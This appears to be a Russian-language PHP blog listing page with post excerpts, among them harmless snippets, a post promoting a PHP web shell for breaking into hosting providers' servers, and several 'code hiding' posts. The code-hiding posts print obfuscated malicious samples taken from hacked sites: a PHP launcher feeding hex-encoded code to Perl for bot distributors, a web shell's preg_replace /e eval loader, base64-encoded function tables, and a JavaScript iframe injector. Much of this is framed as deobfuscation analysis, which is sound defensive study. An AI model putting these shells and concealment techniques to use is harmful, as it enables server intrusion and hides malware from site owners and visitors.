Сортировать статьи по: дате | популярности | посещаемости | комментариям | алфавиту
Информация к новости
  • Просмотров: 152
  • Автор: Master
  • Дата: 9-03-2014, 16:00
9-03-2014, 16:00

Извращённая накрутка

Категория: Кодинг » PHP

Как-то раз, шарясь по сети в поисках всякой разной фигни (не помню уже что я искал) и случайно нажав на рекламный блок на одном из сайтов, я попал на такой сервис, где администрация предлагала лицензионный аккаунт от какой-нибудь игры всего лишь за то что по ссылке, выданной мне в профиле, перейдёт N-ное количество человек.
Ну я так подумал, хоть я и не играю в игры, почему бы не получить лишний лицензионный акк от какого-нибудь Battlefield 4. Да и тем более тем кто переходил по ссылке не нужно было нигде регистрироваться, они должны были просто зайти на страницу.

Метки к статье: PHP, накрутка

Информация к новости
  • Просмотров: 31
  • Автор: Master
  • Дата: 3-10-2013, 15:04
3-10-2013, 15:04

PHP. Выводим ссылку на главную везде кроме главной

Категория: ---



//выводим ссылку на главную везде кроме главной
(можно применить к любой странице)
$url = parse_url($_SERVER['PHP_SELF']);
if($url['path'] != "/index.html" && $url['path'] != "/about/index.html"){
echo '<a href="/" class="link back">Главная</a>';
}

Метки к статье: PHP

Информация к новости
  • Просмотров: 32
  • Автор: Master
  • Дата: 3-10-2013, 15:03
3-10-2013, 15:03

PHP. Вытаскиваем из текущего адреса GET параметры

Категория: Кодинг » PHP



//вытаскиваем из текущего адреса GET параметры
$id = parse_url($_SERVER['REQUEST_URI']);
echo 'id = '.$id['query'];

Метки к статье: PHP, GET, запрос

Информация к новости
  • Просмотров: 56
  • Автор: Master
  • Дата: 5-09-2013, 10:05
5-09-2013, 10:05

Взлом через PHP

Категория: Кодинг » PHP

Взлом через PHP

Вот сделал модификацию нескольких скриптов и в итоге получилась классная штуковина.

Данная атака на сервер проходит со 100% гарантией (Ну пока я тестил все было норм. Для успешной атаки вам необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, т.е. изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую вы собираетесь взломать.
В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов.
Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:

Метки к статье: PHP, взлом, сервер, скрипт, шелл

Информация к новости
  • Просмотров: 103
  • Автор: Master
  • Дата: 1-09-2013, 21:15
1-09-2013, 21:15

Скрытие кода, метод 9

Категория: Кодинг » PHP

Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen():

error_reporting( 1 );
global $HTTP_SERVER_VARS;
if (@is_resource( $f = @popen( 'perl - E54POCH', "w" ) )) {
@fwrite( $f, 'eval( pack( "H*", "6368...7d20" ) );eval( pack( "H*", "7573...353b"));' );
@fflush( $f );
sleep( 1 );
@pclose( $f );
echo "RUN OK";
} else {
echo "RUN FALSE";
};

Метки к статье: deobfuscation, obfuscation, Perl, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 135
  • Автор: Master
  • Дата: 1-09-2013, 21:09
1-09-2013, 21:09

Скрытие кода, метод 8

Категория: Кодинг » PHP

<?php # Web Shell by oRb
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66
\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F
\x64\x65\x28'5b1pdx...Kn6fwE='\x29\x29\x29\x3B",".");?>


Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента!

Метки к статье: deobfuscation, obfuscation, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 105
  • Автор: Master
  • Дата: 1-09-2013, 21:05
1-09-2013, 21:05

Скрытие кода, метод 7

Категория: Кодинг » PHP

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64:


$GLOBALS['_482181972_'] = Array(
base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ),
// file_get_contents
base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos
base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), // filemtime
base64_decode( 'Zm9wZW4=' ), // fopen
base64_decode( 'Z' .'ndyaXRl' ), // fwrite
base64_decode( '' .'ZmN' .'sb3Nl' ), // fclose
base64_decode( 'dG91Y2g=' ) // touch
);

Метки к статье: deobfuscation, obfuscation, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 87
  • Автор: Master
  • Дата: 1-09-2013, 20:54
1-09-2013, 20:54

Скрытие кода, метод 5

Категория: Кодинг » PHP

Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе ):


var s = '';
try { new asd[0]
}
catch (q) {
if (q) r = 1;
c = String;
}
if (r && document.createTextNode) t = 2;
e = eval;
m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; // здесь очень длинная строка
mm = c['fro'+'mCharCode'];
for (i = 0; i != m.length; i++) s += mm( e( "m" + "[" + "i" + ']' ) );
try {
document.appendChild( null )
}
catch (q) {
e( s );
}

Метки к статье: deobfuscation, javascript, obfuscation, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 97
  • Автор: Master
  • Дата: 1-09-2013, 20:50
1-09-2013, 20:50

Скрытие кода, метод 4

Категория: Кодинг » PHP

Взято из демо-версии DLE:

<?php $_F=__FILE__;$_X='STRING=';$_D=strrev('edoced_46esab');eval($_D('STRING2=='));?>


В коде бросаются в глаза две длиннющие строки в base64, раскодировать “в лоб” можно только вторую, там содержится кусок кода для дешифрации первой строки (STRING=). Причесанный вид файла:

$_F = __FILE__;
$_X = 'STRING=';
$_D = strrev( 'edoced_46esab' );
eval( $_D( 'STRING2==' ) );


edoced_46esab – это всего лишь перевертыш base64_decode. Вторая строка (STRING2==) после раскодировки и причесывания:

$_X = base64_decode( $_X );
$_X = strtr( $_X, 'STR1', 'STR2' );
$_R = str_replace( '__FILE__', "'".$_F."'", $_X );
eval( $_R );
$_R = 0;
$_X = 0;


Опять eval, от которого нужно избавиться. Собственно, интерес представляют только 2 и 3 строки. Дальше, общая раскодировка выглядит так:


$_F = __FILE__;
$_X = 'STRING=';
$_X = base64_decode( $_X );
$_Y = 'STRING2==';
$_Y = base64_decode( $_Y );
$_P = array(); // массив строк, которые будут вырезаны
$_P[0] = '$_X=base64_decode($_X);';
$_P[1] = 'eval($_R);$_R=0;$_X=0;';
$_Y = str_replace($_P, '', $_Y);
eval($_Y);
echo $_X;


Источник

Метки к статье: deobfuscation, obfuscation, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 92
  • Автор: Master
  • Дата: 1-09-2013, 20:46
1-09-2013, 20:46

Скрытие кода, метод 3

Категория: Кодинг » PHP

Не совсем PHP, но тоже может быть интересно. Для вставки в страницы вредительского кода, в частности блоков iframe, используют javascript и данные, закодированные в unicode:

<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065')</script>


Раскодировать можно с помощью PHP:

$str = "\u003c\u0069\u0066\u0072\u0061\u006d\u0065";
$str = preg_replace( "/\\\\u([0-9a-f]{3,4})/i", "&#x\\1;", $str );
$str = html_entity_decode( $str, null, 'UTF-8' );

echo $str . "\n";


Чтобы посмотреть, что же находится в строке, не прибегая к PHP или каким-то инструментам, просто замените document.write на alert.

Когда-то давно я раскодировывал куски javascript-кода помещая его в теги
<textarea>
, пока в одном коде мне не попался
</textarea>
в начале зашифрованного кода. Вполне себе рабочие грабельки

Источник

Метки к статье: deobfuscation, javascript, obfuscation, PHP, деобфускация, код, обфускация, скрипты, шифрование

Назад Вперед